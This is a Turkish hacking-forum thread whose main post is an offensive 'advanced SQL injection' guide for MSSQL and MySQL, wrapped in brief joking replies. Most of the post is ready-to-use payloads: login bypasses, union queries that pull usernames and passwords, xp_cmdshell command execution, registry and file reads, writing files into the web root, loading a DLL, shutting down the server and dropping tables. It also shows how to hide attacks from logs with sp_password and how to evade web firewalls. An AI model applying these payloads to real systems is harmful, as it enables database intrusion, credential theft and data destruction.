: En iyi hacker en iyi yazılımcıdır. Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :) pek komiksin hahah :D

: wking bunu yazdı: En iyi hacker en iyi yazılımcıdır. Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :) pek komiksin hahah :D neden pek komikmiş? PUHU Leather Goods - https://www.instagram.com/puhuleathergoods

: En iyi hacker en iyi yazılımcıdır. Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :) neyle uğraşır? az insan çok huzur.

çizik Bu imzayı her grdüğünüzde 4gb kotanızın 0,00000358559191226959228515625 azalmaktadır. Bilerek ve istenerek bu imza yapılmıştır. Amaç kotanızı smürmektir

Sevgili Tbt Müritleri biraz geç oldu ama nceden bir yazı yazmıştım sql injection adında orada genel olarak sql injection ile yapılabilecek temel yntemlere değinmek istedim. Bu dkümanımda ise size kendimce ileri yntemlerden bahsedicem eğer hiç bir bilginiz yoksa ilk yazımı okumanızı isterim. Bu kaynağı oluştururken Birçok yerden faydalandım. Dküman içerisindeMysql mssql injectiondan tutunda atack gizleme system prosedürleri ile yapılabilecek birçok ileri yntemden bahsedilmiştirTabi dahada iyi yntemler olduğu kesindir. Bilenlerde bu başlık altından yorum yapıp eksikleri eleştirebilir. Amaç zaten meraklı arkadaşlaradküman sunmakİlk Yazımın Adresihttp://www.tahribat.com/Forum-Sql-Injection-Anlatim-102895/1/sqlncelikle yazdığım bazı şeyler sql server üzerinden çalışır Sırayla açıklamaya başlayalım "--" SQL Cümlesini sonlandırmaya yarar";" 2. SQL cümlesini çalıştırmaya yararBiliyoruzki artık sql injection login panellerindede çalışıyor. Mesela login panelinden kasıt kullancı adı ve şifre girdiğimiz alanlardır 1. Login olabilmek için genelde input blgesine uygulayacağımız kodları aşağıda verdim. admin' ' or 1=1... 2. Farklı bir kullanıcı olarakda login olma ise aşağıdaki gibi gsterilmiştir. ' union select 1, 'diger_user', 'birseyler_sifre', 1-- Bu tür login ekranlarında şansınız varsa yukarıda kodlarla giriş yapmayı başarırsınız. Ama genel olarak sql injectionla uğraşan biri site üzerinden hatalardan yola çıkarak ilerlemeye çalışır birazda hatalardan ilerlemeyi gsterelim 1. ' having 1=1 2. ' group by hatadangelen. id having 1=1 3. ' group by hatadangelen. id, gelenikinci. id, üçüncü. id having 1=1 4. Hata almayı bitirince tablo bitti demektir. 5. Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir. Burada amaç zaten order by yanındaki rakamı artırıp kolon sayısını anlamaktır. ORDER BY 1 ORDER BY 2 Yavaş yavaş injection süreci ilerlemeye başlar bu sefer nemli olan gelen veri tipini belirlemektirBu yntemde asıl amaç data tipini belirlemektir.1. ' union select sum from users Microsoft OLE DB Provider for ODBC Drivers error '80040e07' The sum or average aggregate operation cannot take a varchar data type as an argument. 2. Hata kodu bize verdiğimiz alanin varchar olduğunu syledi. 3. Eğer hata kodu union işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan numeric demektir. 4. Union işlemlerde NULL kullanılabilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir. 11223344) UNION SELECT NULL, NULL, NULL, NULL WHERE 1=2 - No Error - Syntax is right. MS SQL Server Used. Proceeding. 11223344) UNION SELECT 1, NULL, NULL, NULL WHERE 1=2 - No Error First column is an integer. 11223344) UNION SELECT 1,2, NULL, NULL WHERE 1=2 - Error! Second column is not an integer. 11223344) UNION SELECT 1,'2', NULL, NULL WHERE 1=2 - No Error Second column is a string. 11223344) UNION SELECT 1,'2',3, NULL WHERE 1=2 - Error! Third column is not an integer. ... 5. Convert ve Errorlar ile field tipi bulma - convert(image,1) SELECT FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed. You'll get convert errors before union target errors! So start with convert then unionArtık data tiplerinide bulduk bu sefer geldik siteye db ye data eklemeye. Eğer başarılı olursak db üzerinden adminin pass bile güncellenir :)Data Ekleme '; insert into users values( 666, 'attacker', 'foobar', 0xffff ) Sistem Hakkında Bilgi ToplamaData convert işlemlerinde SQL Server detaylı hata mesajları dndürür; ' union select @@version,1,1,1-- SQL Server versiyonunu dndürecektir. Data Alma 1. ' union select min ,1,1,1 from users where username > 'admin'-- Users tablosundaki username' e integerlara uygulanan min denediğinden ve string i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir. 2. ' union select password,1,1,1 from users where username = 'admin' Bir nceki işlemde bulduğu username i direk union ile getiriyor 3. ' Union All Select 1,1,1,1 FROM SysObjects WHERE '=' 4. User defined Tables SELECT name FROM sysobjects WHERE xtype = 'U' 5. Field Getirme SELECT name FROM syscolumns WHERE id = 6. Record ilerletme WHERE users NOT IN 7. Record ilerletme 2 Select p. name from (SELECT (SELECT COUNT AS rid FROM sysobjects i WHERE xtype='U' and i. id<=o. id) AS x, name from sysobjects o WHERE o. xtype = 'U') as p where p. x=21Advanced YntemlerT-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak. set @ret=':'select @ret=@ret+' '+username+'/'+password from users where username>@retselect @ret as ret into fooendThe attacker 'logs in' with this 'username' 1. Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end 2. ' union select ret,1,1,1 from foo-- convert hatası alacağından dolayı direk az nce insert edilen stringleri getirir. 3. Teoriye gre eğer SQL Server Local System Account' ı ile çalışıyorsa regread ile SAM account' u okunabilir. Default! 4. Linked serverlarda query çalıştırılabilir 5. Custom Stored Procedure' ler ile SQL Server Process' i içerisinden exploit yazılıp çalıştırabilir. 6. Bulk Insert ile serverdaki herhangi bir dosya okunabilir create table foo( line varchar(8000) ) bulk insert foo from 'c:\inetpub\wwwroot\process_login. asp' Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir 7. Text dosyası yazma bcp "SELECT FROM test.. foo" queryout c:\inetpub\wwwroot\runcommand. asp -c -Slocalhost -Usa -Pfoobar 8. "sa" olarak login olduk mu? if = 'sa' waitfor delay '0:0:5' 9. ActiveX desteğinden dolayı scripting kullanılabilir wscript. shell example declare @o int exec sp_oacreate 'wscript. shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad. exe' Username: '; declare @o int exec sp_oacreate 'wscript. shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad. exe' -- 10. SQL Server'ı konuşturma 11. Tırnak Kullanmadan SQL Yazmak insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) veya sadece numerik değerler ile data girilebilir insert into users values( 667, 123, 123, 0xffff) SQL Server integerları otomatik olarak varchar a çeviriyor. 12. Xx. asp?p=xx'; EXEC master. dbo. xp_cmdshell 'cmd. exe dir c:'zel Tablolar 1. Hata Mesajları select from master.. sysmessages 2. Linked Serverlar master.. sysservers 3. Şifreler, Loginler master.. sysxloginsTablo / Server Modifikasyon Tablo Silme '; drop table foo--Functions 1. SQL Server' ı kapa '; shutdown 2. Bekleme Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için waitfor delay '0:0:10' kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir. Atak GizlemeSQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglamıyor. Bu durumda her çalıştırılan komut ardından 'sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor. SQL Injection TespitiNormalde SQL Injection basit şekilde tek tırnak vs. Koyarak çıkan hataya gre tespti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi zelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz. Ek olarak software based server da çalışan web firewall ları genelde pattern olarak status code larında "500" veya benzer hata kodlarını eklerler genelde bir çok "200" status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır. Bu noktada daha nceden bahsi geçen "waitfor delay" kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak. 1. product. asp?id=4 product. asp?id=5-1 product. asp?id=4 OR 1=1 2. product. asp?name=Book product. asp?name=Bo'+'ok product. asp?name=Bo' || 'ok product. asp?name=Book' OR 'x'='xStored Procedures 1. Cmd Execute exec master.. xp_cmdshell 'dir' 2. Registry İşlemleri Registry' e yazma okuma vs. İşlemleri. xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' 3. Servisleri Kontrol Etmek 4. Sistemdeki Medyaları Grme 5. Directory Tree sini alma 6. ODBC Resourceları Listeleme 7. Login modeunu bulma 8. Cab Arşiv Oluşturma 9. Domainleri Bulma 10. PID ile process terminate etme 11. Yeni Strored Procedure Ekleme sp_addextendedproc 'xp_webserver', 'c:\temp\x. dll' exec xp_webserver 12. Stored Procedure Silme 13. Dışarıya UNC dahil dosya yazma Other OleDB driver ile çalıştırılan SQL' lerde union vs. Ler çalışmayabilir Execute ile çalıştırılanlar sağlamdırMySQL Injection After MySQL 4.0 you can "Union" queries For SQL comments use / mysql comment / Unions are just like SQL Server unions same fields, same types required @@version is available, you can use it in unions You can hex-encoded strings o select 'c:/boot. ini' o or o select 0x633a2f626f6f742e696e69 MySQL can load DLL and run arbitary code Subqueries version 4.1+ MySQL Passwords o In versions prior to 4.1, the password hash can be used to authenticate directly with the database. Just recompile MySQL Client to login with hash. o Other versions use SHA1 o SELECT User, Password FROM mysql. user; o SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2', BENCHMARK(100000, SHA1(1)),0) User, Password FROM mysql. user WHERE User = 'root';MySQL Functions & UDF substring o query. php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 SELECT... INTO DUMPFILE o Write query into a new file UDF Function o create function LockWorkStation returns integer soname 'user32'; o select LockWorkStation ; o create function ExitProcess returns integer soname 'kernel32'; o select exitprocess ; SELECT USER ; SELECT password, USER FROM mysql. user; First byte of admin hash o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;MySQL Samples UPDATE user SET Password=PASSWORD WHERE user='root'; FLUSH PRIVILEGES;MySQL Load_File With unions you can read a file query. php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1MySQL Load Data Infile By default it's not avaliable! o create table foo ; load data infile 'c:/boot. ini' into table foo; select from foo;Timing & Blind MySQL Injection select benchmark( 500000, sha1 ); query. php?user=1+union+select+benchmark(500000, sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 select if( user like 'root@%', benchmark(100000, sha1 , 'false' ); Enumeration data, Guessed Brute Force o select if( (ascii(substring(user ,1,1)) >> 7) & 1, benchmark(100000, sha1 , 'false' );Stored Procedure Injection 1. Eğer SQL bir şekilde ASP ile unsafe parametrelerle oluşturulup gnderiliyorsa bu güvenli değildir. Stored Procedure olsa bile. 2. Eğer parametrelerde ADO Command gibi bir şeyler ile gnderiliyorsa ve doğru implemente edildiyse güvenlidir. sp_who '1' select from sysobjects or sp_who '1'; select from sysobjectsSecond Order SQL InjectionZor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL' lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gzü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez genelde. 1. Bir sistemde yeni kullanıcı şu şekilde oluşturulur; Username: admin'-- Password: password 2. Bu şu Insert' i çalıştırır; insert into users values( 123, 'admin''--', 'password', 0xffff ) 3. Şifre değiştirme ekranındaki durum şu şekilde olacaktır; Kontrol; var sql = "select from users where username = '" + username + "' and password = '" + oldpassword + "'"; 4. Şifre Update işlemi; sql = "update users set password = '" + newpassword + "' where username = '" + rso + "'" Bu adımda bir nceki SQL dnen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır; update users set password = 'password' where username = 'admin'--' Bu da admin şifresinin istenilen şifreye değiştirecektir. Second Order Insert SQL InjectionForm dolurulurken şu şekilde doldurulur;Name : ' + (SELECT TOP 1 password FROM users ) + 'Email : xx@xx.com vs... NotesDiye bir sürü yntemler sürdürebilir. Umarım bir faydası olmuştur. Tbt Dersimliler Derneği Başkanı :)

En iyi hacker en iyi yazılımcıdır. Sql'i bu kadar bilen adam Injection'la uğraşmasın bence :)

dküman arşivine kaldırılmalı, anlatımda gayet anlaşılır (=

Şyle derinlemesine bir çizik atayım. :) Bilen konuşmuyor, konuşan bilmiyor...